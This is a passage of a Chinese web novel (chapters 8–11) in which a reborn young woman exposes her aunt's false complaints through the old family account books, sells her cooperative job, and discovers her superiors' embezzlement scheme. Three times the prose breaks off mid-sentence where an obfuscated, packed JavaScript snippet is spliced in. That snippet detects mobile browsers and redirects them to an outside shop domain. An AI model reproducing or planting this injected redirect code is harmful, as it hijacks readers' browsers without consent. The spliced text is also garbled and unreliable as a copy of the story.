“就是。他们家都有钱买那么多咸鱼了。肯定有钱赔给你们。不能白白让你们付出那么多。我们田屋村没有这样忘恩负义的人。” 本来只想卖惨的田大伯娘,见这些人拉着自己去找族里长辈还有点害怕。她只想卖惨,不想真把事情闹大。但一听说要补偿,她立马就心动了。 无他,当年她就觉得分家不公平。 要能闹些补偿出来,自家儿子这生二胎的罚款说不定就有了。 于是,田大伯娘准备开口劝几句,然后再装作拗不过被拉着去找族里长辈告状。到时候她就装惨,让几个老姐妹出头就可以了。 她正想得美滋滋呢。哪里知道田甜已经在边上听完了她们的密谋。 看着那几个要伸张正义的女人,又看了看她大伯娘的装模作样。想到自己年后就要下深市,早点跟大伯一家掰扯开来比较好。 于是,田甜大声道:“大伯娘,你说什么?什么我们一家吸你们家的血?什么我家就该赔你钱?” 声音很大,把正在讨论咸鱼的所有村民都镇住了。 田爸也不跟人说这咸鱼换得多划算了。三两步就跑了过来:“乖女,出什么事呢?” 田妈也不跟人乐呵了。跟着跑过来问同样的话。 其他围观的村民同样满脑袋问号。 田甜不管那几个人什么表情,三言两语就把她们刚刚的那些话说出来。就连语气都表演得惟妙惟肖。逗得看热闹的村民哈哈大笑起来。 无他,田甜拿捏的那种酸溜溜语气太到位了。 到位到那几个女人怒了。 —— “我们说错了吗?全村人应该说全镇人,谁不知道田屋村有个田老二是个大懒蛋。不干活却过得美滋滋的。还有人给他娶老婆,送他女儿上学读书。要不是陈霞两公婆赚钱养家,就他田老二有这个能力吗?” 这话一出,众人沉默了。 无他,村里不少人还真这样认为的。虽然大家大部分都是姓田的,拜的都是一个祖宗。但是,谁家里的家务事会让他们知道得那样清楚呢?大家都是看表面,听流言。 表面就是田老二真没怎么下过地。能娶得起老婆,送女儿上学,肯定是占了田老大一家很大的便宜。 田甜一看大家反应就呵呵。果然早点把真相说出来才是真的。不然以后真会被道德绑架。 上辈子她的工作,就是这样被道德绑架出去的。一个价值一千多的工作,最后五百块卖给了田芯。 当时她是想着自己出去打工,家里爸妈有大伯一家照应比较好。加上当时很多亲戚来劝,说大伯一家帮了她家很多。 现在换她田·钮钴禄·甜来。自然不可能让这种事情再次发生。 上辈子觉得家里的事情不好外扬。现在她要扬出去,扬得人尽皆知。 8. 第 8 章 田爸、田妈一听女儿的话头,就知道她想做什么了。当下,田爸最积极。就想跳出来说个一二三四五。但立马被田妈拉住了。 “你一边看着去。” 说着,田妈双手叉腰,气势汹汹对着隔壁大伯娘家喊道:“陈霞,你有种就过来。我们当面锣对面鼓算个清清楚楚。看看这些年到底是谁占谁的便宜!” 这话一出,村民们又发出惊呼声。大部分人都觉得田妈脑子秀逗了。 田大伯娘更是撇嘴,一副不屑的样子。而她的几个老姐妹则是齐齐发出嘲笑声。 田妈一看大家的反应就呵呵。这些年不是不知道外头的流言。但有些事情说开了伤感情。只是现在有人蹭鼻子上脸,他们也不用客气了。 于是,田妈气沉丹田,大声吆喝: “这些年村里不少人都说我们二房吸大房的血,这些话我们家懒得讲。一世人两兄弟,没必要为一些细微末节坏了兄弟情。而且生产队时期,要不是大哥在前头努力,我们当家也不能过得那样清闲……” “看吧,刘淑雅,你自己都承认吸大房的血!” 田大伯娘的老姐妹何春花立刻跳了出来,口水乱喷地指着田妈,一副抓到痛脚的张狂样。 “何春花,你是猪脑子吗?我哪句话承认呢?你要是不想听,你就同我躝尸趌路【滚】。” 其他围观的人正听得津津有味,可不想让何春花破坏了。纷纷开口指责何春花。更有何春花的家人,上去就想把她拉走。 田妈看到这样的情况很满意。 田甜则是有点子想笑。注意到大伯娘表情难看起来,心里更是爽。等一下就让她彻底没脸。 —— “说我们家田宝民小时候不爱下地干活,这个我们认。但是,田宝民有爸有妈,他18岁前,我公婆都还下地赚公分呢。而且我公公当时还是村里的会计。再怎么养也能养得活田宝民。” 这话说得在理。不少人跟着点头。 田大伯娘见状终于忍不住了:“淑雅,你这话就不对了。公婆赚的钱可不止你家的。论理我们家也要分一半才对。” 田妈见状嘴角笑意一闪。田爸则是朝田甜挤眉弄眼起来。 田甜则是默默给她妈竖个大拇指。是时候让大伯娘露出原形了。 “大嫂,你这话也没错。” 何春花又跳了出来:“那这样算,田宝民还是吸了陈霞两公婆的血。不然你公婆赚的钱分分,怎么也养不活你们一家三口。” 田妈没好气地朝何春花的家人道:“你们这是不管何春花是吗?不管的话我就不客气了。” 话音一落,田妈的几个老妹妹已经撸起袖子准备动手。 一看这架势,何春花的家人又着急了。这一次不敢再留在原地了。一个抬手,一人抬脚,横着就把挣扎不休的何春花往家抬。 看到这一幕,大家又笑了起来。田妈也跟着笑。笑过后看向田大伯娘:“大嫂,你也不用着急反驳。结婚前的一些花销我不太清楚。但这里有没分家前家里的所有账本。现在,我们就来算个总账。” 听到这,田爸再次冒头,把两本厚厚的账本递了过去。 田甜看着爸妈这默契,捂嘴偷乐。其他村民则是好奇田妈怎么会有这些账本。 但是,田大伯娘心下就是一个咯噔。总觉得事情哪里不对。 但田妈不会给她任何机会。这会子已经打开账本,念出一个个数字。而边上不知道谁已经拿来算盘,在那噼里啪啦计算起来。 —— “这是怎么呢?” 就在田妈的账本念到田甜上学时,安静了很久的人群忽然再次有声音发出。 众人看去又是一乐。 “大哥,你回来得正好!”田爸朝田大伯龇牙咧嘴。 而边上已经有田大伯的好友拉着他,三言两语解释清楚事情的经过。听得田大伯额角青筋直跳。 田甜看着这位大伯。 上辈子一直对她挺好的。除了便宜卖工作给田芯这个事情他没有吭声。其他时候都对他们家挺好的。不知道上辈子那一万块钱的事情,这位大伯到底知不知道。 田甜其实是想他不知道的。但是,一个被窝睡不出两种人。大伯娘贪了她那一万块的赔款,大伯这个枕边人会真的不知道吗? 这位上辈子一直一副古板样子的大伯,到底是不是真这么表里如一? 田甜不知道。也不想再去探究了。 这次把所有账都算清楚,两家人掰扯干净,以后少牵扯就是了。 就是等阿公阿婆回来知道后,估计会很伤心。 伤心维持了大半辈子的兄弟情,就这样出现无法修复的裂痕。 —— 田大伯了解完事情的经过后,本来就黑的脸更加黑了。 “老二,这个事情是你大嫂不对。你跟弟妹不要生气。更加不要说算什么总账。这样太生分了。一世人两兄弟,真不用什么都算得清清楚楚。我现在就让你大嫂跟你们道歉。” 田爸看着眼前的大哥,跟小时候一样说一不二。以前他们兄弟两关系一直很不错的。也不知道什么时候开始慢慢就变了。 不过这些田爸已经学会不去想了。自己也有老婆孩子,一切都以老婆孩子为重。大哥也有自己的家庭。他爱护自己的家庭那也正常。 开弓没有回头箭。决定今天算总账,那就不可能现在就停下。 “大哥,我们兄弟两关系好,你觉得不用算清楚很正常。但是我们的下一代呢?不说英雄这小子,就田芯就一直对我家田甜有敌意。要是不把总账算清楚,以后他们一定没兄弟姐妹做了。” 这话很实在。田大伯瞬间没了声响。 田甜则在边上小声嘀咕:“算不算得清楚其实没多大用。就她上辈子的记忆,大伯一家在未来十年,跟他们家的关系还是那样得生疏。即使她便宜把工作卖给田芯也一样。” 田大伯一听还想拒绝算总账。但被他压着的田大伯娘不干了。 “宝国,田宝民这样的烂仔都敢忘恩负义,不承认你这些年为家里的付出。你还有什么好给面子的?” “行了,别说了,回家。” 说着,拉着人就往家里走。 这次没人拦着他们两公婆。但是,田妈不干了。 “大哥、大嫂。不管你们留不留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342605|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下听,我都会把这个账算个清楚明白。花了你们的钱,我们补。但如果我们没花你们的,反而是你们花我们的。这钱麻烦你们也拿出来还给我们。” 前面的话大家还能安静地听。但后面这话一出,大家愣了。 一个个都觉得田妈这是没睡醒吗?田宝民怎么可能有便宜给他大哥占?这不是倒反天罡吗? 人群一阵骚动,看得田大伯娘想放鞭炮庆祝一下。 “弟妹,既然你那么坚持,我们当哥嫂的确实不该阻拦。” 嘴上说着漂亮话,心里已经在盘算着能拿回多少补偿来。一想到这个,田大伯娘就控制不住笑。 大家都不看好这个。开始有人劝田妈、田爸别算了。别算到最后自家要倒贴出去不少钱。 当年两兄弟没分家,根本不可能算得那么清楚的。 但田妈笑笑没有理会这些好意。而是继续大声朗读账本。 一开始大家都觉得田甜家要吃亏。但念着念着,大家的表情古怪了起来。 当念到1976年,给大房田英雄200元用于购买工作时。众人再次惊呼出声。 “哎,不是。是我听错了吗?田英雄的工作,田宝民还给了200块?” “就是啊!是我们听错了吗?他田宝民哪里来的这么多钱?” 不止围观群众不信,就是田大伯娘也不信啊! “弟妹,你别是念错了吧!我家英雄的工作,你家什么时候给过钱?” 田大伯同样一脸震惊,但好像想到了什么,满脸灰白。 田妈看着大家的反应,大声说道:“这钱当年我们确实给了。大嫂,你当年来我们家借钱,被大哥拦住了。宝民看这样,就把钱给到婆婆。让婆婆私下里给你们。这个钱你们说拿没拿过?” 听到这话,田大伯娘脸都绿了。当年她确实从婆婆那拿了200块。亏得她还以为这是婆婆的私房钱,高兴自家占了便宜。结果现在跟她说,这钱是老二给的? 她不信。 “老二哪里来的那么多钱?哦,当年分家,果然阿公、阿婆偷偷给了你们二房钱。” “大伯娘,你别转移话题。现在在算总账,别扯太公、太婆他们老人家。” 田甜这时候站出来了。 太公、太婆就是田爸的阿公、阿婆。两位老人家很疼田爸。当年分家的时候,确实偷偷给了不少钱给田爸。不止分家,就是田爸娶老婆,送她上学,用的大部分钱都是太公、太婆给的。 田大伯娘直接喊:“你们别想隐瞒。” 田甜:“我们没想过要瞒啊!无论太公、太婆给了我爸多少,那是老人家的心意。你没资格管。给200块堂哥买工作,这个事情你们认了就行。” “妈,你继续念!” 田大伯娘还想说什么。但田妈已经继续念,算盘珠子噼里啪啦响。响到最后,一个金额出来,震惊了全场。 上一秒大家还在猜田爸到底从他阿公、阿婆那得到多少好处。下一秒就听到一个惊人的数字。 “算下来,田宝民一家不止没有占田宝国一家的便宜。反而田宝国家一家要倒给田宝民一家58块2毛8分钱。” 9. 第 9 章 “唉,你们是没看到哟,账算出来后,田宝国那脸有多难看。立刻回家拿了钱过来,直接塞给了田宝民。还在那道歉,说这些年让田宝民受委屈了。” “这算什么委屈哟。被人说又不会掉几斤肉。田宝民都不知道从他阿公、阿婆那得了多少钱。听说田宝民的阿公以前在大金店当掌柜。他阿婆在里面当售货小姐。” “哇,那老底会有多厚啊!怪不得田宝民从小就不爱干活。” “哟,是你有这么多钱,你也不爱干活喽!” “要我说,这次陈霞就是搬起石头打自己的脚。面子全丢光了。这么多年到处跟人诉苦,说二房吸他们大房的血。现在一算,好嘛,居然倒过来。” “哎,你们说刘淑雅手上的账本哪里来的啊?” “哪里来?” 同样的问题在田甜家响起。 田甜直接答:“我阿婆给的喽。”说完,田甜给凤妹手里倒了一捧瓜子,示意她赶紧吃。 凤妹跟牛仔一样,从小一起长大,感情还挺好的。不过后来她去上中专,凤妹则是留在家里帮家里种甘蔗,卖甘蔗。两人往来就少了些,但感情也没淡。 这不,今天家里这总账一算,他们家再一次出名了。事情以大伯道歉补钱结束。 但这只是明面上的结束。村里人在之后一个个都来他们家打听。 田爸、田妈这边被自己的朋友围着打听。自己也被自己朋友找来打听。 不是他们八卦,实在是这个反转太出乎大家的意料。 “现在大家都在猜你们家到底有多少家底?”凤妹叽叽喳喳说着村里的流言。 田甜摊手。她家其实还真没多少老底。这都多少年了,太公、太婆又不是资本家,不过是给资本家打工的牛马。底子是有一些,但不多。 给她爸的是有一些,但她今年都19岁了,这钱也早花得不剩多少了。就是有,田甜也不会要。这些都是她爸妈养老的底气。 “真没啊!他们都说你那些咸鱼,就是花钱买的。花生糖换不来这么多咸鱼。” 田甜扶额,就知道村里人的想象力丰富。 “真没有。咸鱼真是用花生糖换的。” “那你这咸鱼要怎么处理啊?还有半个月就过年了,不知道能不能卖得完。牛仔也真是的,居然也不劝着你。” 田甜:“没事。就一千斤咸鱼,大不了卖给供销社就是了。” “对哦!”凤妹一拍大腿,表示自己白担心了。 田甜回了她一个大手拍。 两人笑闹了几句,凤妹这才说道:“我来的时候,路过你大伯家,听到你大伯跟大伯娘在吵架。田芯在门口坐着,表情可难看呢。” 她不喜欢田芯,觉得这人太飘。刚看她满眼愤怒地盯着田甜家。凤妹还真有点担心田芯会做什么。毕竟,村里有些男的,还挺喜欢跟田芯说话的。 田甜一听点头:“谢谢你提醒。我会注意的。” 既然都算总账了,田甜自然不怕大房的人做什么。大伯这人古板,大伯娘这人贪心,田芯这人一堆备胎,大堂哥田英雄跟他老婆也不是豁得出去的人。 只要这些人有顾忌,就不会干出什么大事。最多就是做些事情来恶心她。 —— 田甜的猜测还真没错。 当天傍晚吃饭的时候,村里以及隔壁村就已经传遍了田甜被骗,买了一千斤烂咸鱼臭咸鱼。让大家不要去找她买。那些咸鱼说不定会吃死人。 田甜一听就知道肯定是田芯在背后搞鬼。她也不生气,反正田芯做初一,她做十五就是了。 只是田甜没想到谣言第二天已经在县里传播开来。她还是去上班被人拉着问才知道的。 不用说,这传播速度,田芯肯定下了功夫。 有这样的本事,拿去赚钱说不定都能成万元户了。 田甜是真不明白田芯的脑回路。这样损人不利己的事情,怎么一二再而三地做出来。 “是啊,我是买了一千斤的咸鱼。昨天钱姐你不是看到了吗?那咸鱼是从渔民那买来的,质量肯定没问题。” 田甜随意说了几句,也没花力气去澄清。一开始,她这一千斤咸鱼的目标客户,就不是县里、不是镇上、不是村里的人。而是那个快要出现的内陆客商。 钱姐本来想给田甜一些建议的。看她这副云淡风轻的样子,心想她这是有门路了。也就不操心,反而跟田甜又聊起了刘姐跟徐丽芬的恩怨。 “昨天下午你不在是没看到,刘姐跟阿芬在仓库又因为拿货的事情吵起来。然后,刘姐又被仓库刘主管给骂了一顿。” 说到这,钱姐又乐呵呵的。她巴不得刘姐天天被人骂。这比赚钱还要让她高兴。 田甜听到这个挑了挑眉,看来徐丽芬还真挺狠的。一天搞两次这样的戏码。不过也对,她要不是不狠。上辈子也不会断了自己升职的路。 上辈子,田甜在供销社是个很合格的牛马。天天是除了值班人员外,最早一个上班,最晚一个下班。这样努力,就因为想要进步。她的这个心愿,全供销社的人都知道。 作为关系好的同事,徐丽芬当然也知道。两人经常互相打气鼓励。 结果,在85年也就是明年年底盘点前,自己负责保管的进出库票据不见了。最后这些票据也没找回来。导致库存、销售收入、支出数据无法核对。最终只能按照现有的账目跟库存重新做账,剩下的窟窿就挂在那作为坏账处理。 因为这个事情,田甜没了上升的路子。在供销社又混了一年。之后因为陈家豪的事情全县出名。最后一合计,直接停薪留职下深市打工。 上辈子一直到90年代,通过一些老朋友,田甜才确定当年丢失的票据,是徐丽芬在里面做了手脚。不过按时候对方早已经调到商业局当干部去了。 重生回来田甜看清了很多东西。昨天又确定了供销社里面有大老鼠。所以,上辈子很多事情现在拿出来看,田甜就知道,自己是成了大老鼠销毁账目的炮灰而已。 —— “田甜,你来上班啦!听说你买了一千斤劣质咸鱼。怎么办,你没事吧!” 刚想到徐丽芬,就看到对方满脸关心地朝自己走了过来。 田甜露出惯常的笑:“没事,那都是谣言。” “哎,我想帮你也不知道怎么帮啊!你说你也太不小心了。你做财务工作可不能这样粗心大意哦。不然我要担心死了。” 这些看着关心,实则贬低的话听得田甜直接翻白眼。 “阿芬,我上班一年多,从没有出错过。你这句我做财务工作粗心,我可不认。” 义正言辞的话,直接让徐丽芬卡壳。 一直在边上盯着这边的刘姐,看到徐丽芬被怼。忽然觉得神清气爽。 之前觉得田甜这样牙尖嘴利太可恶。现在看看,这样挺好的啊! “就是,徐丽芬。你一个仓管怎么管起人家财务的事情。听说你初中都没毕业,怎么好意思管人家中专生的事情。” 刘姐那特有的嘲讽语调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342606|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让整个供销社柜台都安静了下来。 有早来买东西的顾客,一个个都不买东西了。盯着他们说话眼神亮得惊人。 田甜见状,灵机一动:“阿芬,你这样说真的很不对。如果我是承受能力差的人,说不定会因为你这句话就不敢来上班。外人看了,不得要说你不厚道,连同事都要编排啊!” 又来了,又来了。徐丽芬看着这样的田甜,心中松下的那根弦又紧了紧。 田甜见状没再说什么。转身回后面上班去。 财务科一如既往的安静。看到田甜进来,难得早来的科长说道:“来得正好。票据整理好了没有。这边要入账做总账了。” 田甜立刻打开抽屉,把一直压着的所有票据都给到科长。然后就不再管这些事情了。反而是坐下开始做最后的一些基础工作。 她已经准备好上完今年的班,明年就下深市。至于工作,这两天高价卖了。至于买主,她已经有了目标。 等她离开了供销社,明年才是抓老鼠的好时间。 —— 中午,田甜在食堂吃了饭,先去邮局寄了十多封信出去。这些信的收件地址都是县城的。按照这时候的邮局寄送规则,最快后天这些收件人都能收到信件。到时候就有好戏看了。 回到供销社,田甜没有闲着。继续观察刘姐跟徐丽芬的战斗。 果然,两人只要找到机会就互相扯对方后腿。而且没有缓和的样子。 很好。 第二天继续观察,依然是这样。田甜决定跟刘姐接触了。 “卖工作?你不会是想给我下套吧!” 大中午的,刘姐回来上班的路上,被田甜拦着听到她要卖工作,第一反应就是田甜想害她。 田甜笑了:“刘姐,你女儿不是一直想进财务科吗?现在那么好的机会摆在你面前,你就舍得放过?” 看着田甜那气定神闲的样子,刘姐真想甩手走人。但她还真舍不得。财务科的工作多清闲啊。以后找对象说出去也有面子。 她女儿现在在自来水厂当个收费员,是临时工。天天在家抱怨收费太辛苦。 如果女儿能拿到田甜的工作,以后就不会抱怨了。而且,自己在供销社还能多个帮手。正好可以给徐丽芬这死三八下绊子。 田甜看她的样子就知道在想什么。 有了徐丽芬那持续不断的报复,田甜就不信刘姐不想找个帮手。 想找就对了,自己这工作才能卖高价。 当然,不能简单这样说。 “刘姐,说实话,这工作徐丽芬一直想要。她一直抱怨仓库工作辛苦。如果我卖给她,相信能卖个好价钱。” 一听卖给徐丽芬,刘姐更加着急了。 “你说,要多少钱卖?” 田甜也不客气,笑眯眯地说道:“两千。钱到位了,工作可以等你女儿拿到单位的年终福利后再交接。” 毕竟,她也等着领完供销社的年终福利再转工作呢! 一听两千,刘姐脸都绿了。 “两千?你干脆去抢算了。你这工作最多值一千五。” 田甜伸手右手食指摇了摇:“刘姐,我这工作做得好可以直接调到统计局当干部的。你想想,你女儿买了这个工作,做一两年了,家里活动活动就能当个干部。到时候舒舒服服当机关单位干部。话我就说到这了,你不要还有徐丽芬等着呢。” 说完,田甜就朝供销社走去。 身后,刘姐想了想,咬咬牙喊道:“行!” 10. 第 10 章 两千块在这个年代是很大的一笔钱。但对于已经下海经商的人来说,又算不上什么。而像刘姐家这样夫妻双方都是单位的,那灰色收入少不了。 田甜估摸着等个两三天就差不多了。完全没想到第二天刘姐就揣着两千块来上班。 “你不会是玩我的吧!” 见田甜一副两人一点不熟的样子,刘姐压低声音质问。天知道,昨天中午知道田甜要卖工作给她女儿,刘姐一下午都十分恍惚。生怕是自己做梦。晚上回到家里一说,女儿激动得恨不能连夜就把工作买下来。 本来刘姐还想吊一吊田甜,看看能不能便宜个百八十块的。但女儿一直催催催。儿子也跟着劝,老公让她不要因小失大。 于是,今天一早她只能揣着钱赶紧把事情办好。 “我女儿下午就能过来办手续。你现在别告诉我又不卖工作了。” 田甜见刘姐这样激动,双手往前推了推,做出一副你冷静点的手势。脸上的笑容恰到好处:“刘姐,你不用那么激动。说好卖给你不会变。只是没想到你的家底还挺厚的呢!” 听出了田甜语气中的暗示,刘姐心虚,说话大声了不少:“别乱讲,这钱是跟亲戚朋友凑的。你别转移话题,是不是现在不想卖工作呢?” “什么?谁要卖工作啊!” 田甜转头看向,见门口堆着好几个同事,就知道这个事情很快就会传遍整个供销社呢。本来她是想着把卖工作这个事情,不动声色地透露出去。好在离开前,再给徐丽芬头上扣多一个锅。 现在好了,刘姐直接把这个事情做好了。 田甜默默给对方点赞。随即转身,努力回忆起平时大伯娘卖惨的表情。轻轻咬一下嘴唇,然后眼睛瞪两下,眨巴一下。一边做表情一边在心里腹诽,原来卖惨也是个技术活。自己好像修炼不到家。 不过,门口堆着的人可没空注意这个。只是相当好奇田甜为什么会把这样好的工作卖人。而且卖的还是跟她关系不好的刘姐。 田甜已经放弃表演了。只低着头,做出啜泣的样子,肩膀颤动着,手不忘去揉鼻子。等几秒钟,听到有人安慰有人打听后。这才抬头,做出一副强做坚强的样子说道: “前两天阿芬说我做财务工作粗心大意。虽然我当时已经严正表示自己工作没有出错过。但是,我忘不了她的那些刻薄话。这两天上班都觉得人很难受。想想觉得在这里上班没什么意思。正好我家里有亲戚要做大事,喊我回家帮忙。索性就把工作卖了算了。” “哎呀,小田。阿芬那话不是故意的。你不要那么小气。” “哎,你胡说什么。阿芬那时候说话是难听。平时她人那么好,都不知道为什么那天说话那么难听。小田难受很正常啊!但是,小田啊。你不再考虑考虑吗?财务科的岗位太好了。” 钱姐几个售货员轮番劝说。但田甜只摇头。 见劝不动,又有两个想要工作的。开口就让田甜考虑考虑他们。 但田甜做出一副为难的样子:“不是我不肯把工作卖给你们。实在是这工作阿芬好几次都说想要。我要是把工作卖给你们了,阿芬肯定有意见的。” “有意见怕什么?”一个售货员直接道。 田甜:“你们没发现最近刘姐都快扛不住了吗?连刘姐都被阿芬整了。你们……哎,我不能害了你们!” 说完,田甜率先朝人事科走去。 刘姐连忙跟上,心里对于徐丽芬更多了些忌惮。 而留在原地的几个售货员面面相觑,随即一拍大腿。她们也觉得最近阿芬这人有点邪门。几次三番躲过刘姐的为难不说。还能让仓库主管、让采购科长训斥刘姐。 一次两次说是巧合,多了那就耐人寻味呢! 几个人互相交换了眼神,都闷不吭声地回柜台整理货架去。心里想着以后要提防点徐丽芬了。再有一个,就是徐丽芬肯定跟那两位领导有什么猫腻。 而田甜这边已经拿到了岗位转让的单子。 不过,会计的岗位毕竟是技术活,要转出去也要转给有经验的。而且,这转工作需要领导审批。那就要跟领导跑跑关系。 看刘姐这急迫样子,想来昨天已经跟领导通过气了。田甜就没多说,接过那两千块数清楚后,拿着填好的表就去找他们财务科的卢科长。 卢科长虽然刚来上班,但对她的来意很清楚。十分配合地签字同意了。但是,对方让田甜必须完成今年的盘点工作。等过完年才正式离职。 这个是田甜一开始计划好的,她点头表示同意。 “好了吗?” 刘姐接过田甜手里的岗位转让同意书,高兴地跳起来。 “走走走,还要回人事科开岗位录取通知书。” 田甜总觉得今天太顺利。按照流程,最起码卢科长要问问顶岗人的情况,问问是不是真要转工作。 即使刘姐家昨晚跑了关系,也不至于这样一句话都不问啊! 谨慎起见,田甜拉着刘姐到角落问起跑关系的事情。 “当然走了关系。昨晚我家那位去卢科长家走了一趟。哎,你别问了。这些事情跟你没关系。等人事科那边办好手续,过两天我让我家女儿过来熟悉熟悉工作。到时候你记得要多带带她……” 田甜随意点头,满脑子想的是卢科长的态度。 但一个上午过去了,田甜没有想出什么来。只是心里有个声音告诉她,事情不对劲。 —— 午饭田甜没有在食堂吃。 因为心里不安,她准备出去走走好换换脑子。当然,出来的时候是避着人的。免得又被人拉着八卦她卖工作的细节。 这一个上午,各种来打探的人她应付得够够的。 当然,徐丽芬比她可难多了。田甜没有去仓库。但听说不少人都跑去仓库围观了徐丽芬。都说她心狠,把自己的好朋友骂得宁愿卖了工作,也不跟她一起工作。 田甜对于这个结果很满意。徐丽芬这样的毒蛇,就该被人唾弃。 出来供销社,外面太阳正好。 虽然已经腊月十八了,但他们这边地处亚热带气候,冬天穿个薄棉袄就够够的了。 田甜沿着供销社外面的主干道一直往前走。 这条主干道也是县城最大的道路。两边都是各种国营商店。改开后,这里也到处是小摊。 田甜一路过来碰到不少吃食摊子。就准备走完一圈回来吃个炒河粉。 但很快,她发现炒河粉吃不成了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342607|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为当她路过一家私人饭店的时候,正好看到卢科长、仓库刘主管、采购科许科长三人一起走进了饭店。 这三人在单位的关系一直都挺好的。所以一起下馆子没什么稀奇的。但田甜直觉有问题。 于是,她立刻跟了上去。脑子回忆起曾经听到过的、售货员们的各种八卦闲谈。 感谢她过去一年多的勤快,帮售货员们干活,无意中听到过许多消息。 这个私人饭店卢科长他们常来。每次吃饭都在二楼包厢。听说包厢的菜比堂食要丰富云云…… 中午高峰期,饭店人来人往。没人去注意田甜一个年轻妹仔。她很轻易地跟着人群来到了二楼。 二楼包厢不少,其中有几个已经关上门。 田甜在走廊走着,每次走到关上门的包厢都会特意放慢脚步。很快,她就找到了卢科长他们所在的包厢。 —— “老卢,你怎么就签字同意呢?” 仓库刘主管那大嗓门直接穿透了门板,让田甜听到后立刻顿住了脚步。对方口中的签字,不用说,一定是在说她的工作转让事情。 包厢里,跟着刘主管说话的是许科长。声音比较低,听不太清。但很快就听到卢科长的辩解。 “你们两就不要怨我了。昨晚税务局老马亲自上门让我帮忙。你们说我能不帮吗?” “老马?他老婆是柜台那个姓刘的?” “可不是嘛!老许你是最清楚的。老马还是有点料【能耐】的。不然,你不会就骂骂小刘。早就把人给整走了。毕竟,你的心肝宝贝可是被她欺负过呢!” 话到最后,调笑意味很浓。瞬间整个包厢都是中年男人的恶心猥琐笑声。 田甜在外头听到,觉得耳朵都脏了。 果然,上辈子听到的流言是真的。徐丽芬真的跟采购科的许科长有路【不正当关系】。 看这三人互相调笑的样子,关系肯定很好。而供销社里面的大老鼠,这三个人肯定都有份。 果然,没过多久,里面又继续刚刚的话题。 可惜,她在走廊。时不时会有人经过。所以田甜只能一直在走动。偶尔要躲着上来送餐的服务员。偷听到的内容有限。 但是,光是里面传出的只言片语,田甜就知道自己的离职没有那么容易。甚至,田甜怀疑他们是不是想要提前重复上辈子85年的那一套。 这个猜测很快得到了证实。 下午上班,卢科长带着一身的烟酒味走到田甜办公桌前。 “小田,下午去找仓库的徐丽芬。年底要盘点库存跟清账。眼看着还有十几天就过年了。他们那边的人手不够,一些出入库资料要你这边帮忙核对。” 听到这里,田甜百分百确定自己要当替罪羊了。 上辈子当了这个替罪羊,最后自己因为遗失重要资料,背了个大处分,前途尽毁。 这辈子又来这一套,她才不会罢休。不就是整个财务科只有自己一个村里来的没背景,所以才敢这样让自己背锅吗? 田甜要让这些老鼠知道,得罪她一个村姑,他们这些老鼠不会有好下场。 本来想安生生干到过年放假的。既然要搞自己,那就索性来票大的! 11. 第 11 章 虽说要搞票大的,但现实生活不是洋柿子短剧,办任何事情都要有具体的章程。 首先,事件就是供销社有老鼠。老鼠偷了供销社的库存。现在老鼠想要把库存数据、财务进出数据等账册弄丢。这样就没有证据证明库存被偷的事实。 这些重要的账册自然不可能无声无息地消失。这就需要一个让账册消失的理由。 作为供销社里唯一一个村里出来的职工,又在财务科工作的田甜,自然就是最好的背锅侠。 其次,整个事件牵扯的所有人员、证据链条田甜暂时无法全部知晓。 所以,田甜目前要做的,是找到一些关键性证据。 证据在手,她才能掌握主动权。 想明白了这些,田甜反而十分主动地按照卢科长的要求,前往仓库跟徐丽芬对接。 当然,在前往仓库前,接她工作的刘姐女儿马小梅过来交接工作了。 田甜还以为对方会在年后才拿入职通知书过来。没想到当天下午就过来了。显然,对方很想要这份工作。 对方来得正好,可以帮忙牵制徐丽芬。这样她有更多的时间在仓库寻找证据。 —— “怎么要去仓库?这工作不是财务科的岗位吗?” 马小梅满脸不快地跟着田甜往仓库方向走。嘴巴叭叭地抱怨着。要早知道是去仓库搞什么盘点,她才不来了。仓库堆了那么多货,肯定脏兮兮的。 田甜十分好脾气地道:“马同志,我是代表财务科,跟仓库那边一起,对出入库的货物数据进行比对,以便确认今年的货物数据没有错误。” 马小梅哪里做过这种活,头疼地嚷道:“怎么那么麻烦。你们财务科那么多人,怎么让你来。不是说平时只做整理票据的工作吗?” 这工作听她妈说就是贴贴票据,整理登记一下票据。这样的工作才是马小梅想要的。 田甜摊手:“没办法。去年年底我刚来,这种工作轮不上我。今年嘛,我也搞不懂。” 马小梅撇撇嘴:“肯定欺负你没有后台。” 不然这种又累又捞不到功劳的活,也轮不上田甜。自己这是被连累了。 这样一想,马小梅又骂了句够黑仔的。 田甜没有在意,反而一副担忧的样子:“还有一件事情,我必须要提前告诉你。等一下到了仓库,你会遇到徐丽芬。” “什么?” 